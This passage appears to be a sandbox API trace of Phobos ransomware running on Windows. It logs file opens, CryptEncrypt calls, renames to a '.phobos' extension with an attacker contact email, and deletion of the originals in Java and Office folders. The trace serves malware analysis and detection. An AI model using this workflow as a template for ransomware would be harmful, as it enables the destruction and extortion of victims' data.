"c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0050.412] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0050.412] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0050.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0050.412] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb10) returned 1 [0050.412] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0050.412] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x3bb, lpOverlapped=0x0) returned 1 [0050.414] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x3c0) returned 1 [0050.414] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x3c0, lpOverlapped=0x0) returned 1 [0050.414] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dccd0) returned 1 [0050.414] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0050.415] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0050.415] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0050.415] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0050.415] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0050.415] CloseHandle (hObject=0x310) returned 1 [0050.415] CloseHandle (hObject=0x2fc) returned 1 [0050.415] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1 [0050.416] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0050.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0050.416] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=5944055) returned 1 [0050.416] CloseHandle (hObject=0x2fc) returned 1 [0050.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20 [0050.417] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0050.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0050.417] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef6f8 | out: lpNewFilePointer=0x0) returned 1 [0050.417] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef6f8 | out: lpNewFilePointer=0x0) returned 1 [0050.417] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ef704, lpOverlapped=0x0 | out: lpBuffer=0x3c58058*, lpNumberOfBytesRead=0x38ef704*=0x40000, lpOverlapped=0x0) returned 1 [0050.420] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x38ef6f8 | out: lpNewFilePointer=0x0) returned 1 [0050.421] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c98058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ef704, lpOverlapped=0x0 | out: lpBuffer=0x3c98058*, lpNumberOfBytesRead=0x38ef704*=0x40000, lpOverlapped=0x0) returned 1 [0050.427] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x38ef6f8 | out: lpNewFilePointer=0x0) returned 1 [0050.427] ReadFile (in: hFile=0x2fc, lpBuffer=0x3cd8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ef704, lpOverlapped=0x0 | out: lpBuffer=0x3cd8058*, lpNumberOfBytesRead=0x38ef704*=0x40000, lpOverlapped=0x0) returned 1 [0050.432] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef754 | out: phKey=0x38ef754*=0x10dc610) returned 1 [0050.432] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0050.432] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef708*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3c58020*, pdwDataLen=0x38ef708*=0xc0060) returned 1 [0050.433] CryptDestroyKey (hKey=0x10dc610) returned 1 [0050.433] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef730 | out: lpNewFilePointer=0x0) returned 1 [0050.433] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x38ef740, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef740*=0xc0112, lpOverlapped=0x0) returned 1 [0051.038] SetEndOfFile (hFile=0x2fc) returned 1 [0051.039] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x38ef700 | out: lpNewFilePointer=0x0) returned 1 [0051.039] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d1814a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ef70c, lpOverlapped=0x0 | out: lpBuffer=0x3d1814a*, lpNumberOfBytesWritten=0x38ef70c*=0x40000, lpOverlapped=0x0) returned 1 [0051.040] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x38ef700 | out: lpNewFilePointer=0x0) returned 1 [0051.040] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d1814a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ef70c, lpOverlapped=0x0 | out: lpBuffer=0x3d1814a*, lpNumberOfBytesWritten=0x38ef70c*=0x40000, lpOverlapped=0x0) returned 1 [0051.044] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef700 | out: lpNewFilePointer=0x0) returned 1 [0051.044] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d1814a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ef70c, lpOverlapped=0x0 | out: lpBuffer=0x3d1814a*, lpNumberOfBytesWritten=0x38ef70c*=0x40000, lpOverlapped=0x0) returned 1 [0051.045] CloseHandle (hObject=0x2fc) returned 1 [0053.427] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0053.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0053.427] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=763363) returned 1 [0053.427] CloseHandle (hObject=0x2fc) returned 1 [0053.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220 [0053.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0053.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0053.428] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0053.428] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0053.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0053.881] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc950) returned 1 [0053.881] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0053.881] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xba5e3, lpOverlapped=0x0) returned 1 [0053.903] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xba5f0, dwBufLen=0xba5f0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xba5f0) returned 1 [0053.904] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xba5f0, lpOverlapped=0x0) returned 1 [0053.915] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcbd0) returned 1 [0053.915] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0053.915] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0053.915] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0053.915] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x142, lpOverlapped=0x0) returned 1 [0053.915] CryptDestroyKey (hKey=0x10dc950) returned 1 [0053.915] CloseHandle (hObject=0x2fc) returned 1 [0053.915] CloseHandle (hObject=0x328) returned 1 [0053.926] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1 [0053.932] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0053.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0053.932] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1261) returned 1 [0053.932] CloseHandle (hObject=0x328) returned 1 [0053.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0053.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0053.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0053.932] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0053.932] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0053.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0053.933] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc6d0) returned 1 [0053.933] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0053.933] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x4ed, lpOverlapped=0x0) returned 1 [0054.276] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4f0) returned 1 [0054.276] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x4f0, lpOverlapped=0x0) returned 1 [0054.278] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc10) returned 1 [0054.278] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.278] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0054.278] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0054.278] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x142, lpOverlapped=0x0) returned 1 [0054.278] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0054.279] CloseHandle (hObject=0x328) returned 1 [0054.279] CloseHandle (hObject=0x2fc) returned 1 [0054.279] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1 [0054.280] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0054.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.281] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=343329) returned 1 [0054.281] CloseHandle (hObject=0x2fc) returned 1 [0054.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0054.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.281] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.281] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0054.281] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc8d0) returned 1 [0054.282] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.282] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x53d21, lpOverlapped=0x0) returned 1 [0054.324] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x53d30, dwBufLen=0x53d30 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x53d30) returned 1 [0054.325] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x53d30, lpOverlapped=0x0) returned 1 [0054.330] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc690) returned 1 [0054.330] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.330] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0054.330] CryptDestroyKey (hKey=0x10dc690) returned 1 [0054.330] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x142, lpOverlapped=0x0) returned 1 [0054.330] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0054.330] CloseHandle (hObject=0x2fc) returned 1 [0054.330] CloseHandle (hObject=0x328) returned 1 [0054.336] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1 [0054.339] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0054.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0054.339] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=14913) returned 1 [0054.339] CloseHandle (hObject=0x328) returned 1 [0054.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0054.340] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.340] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft 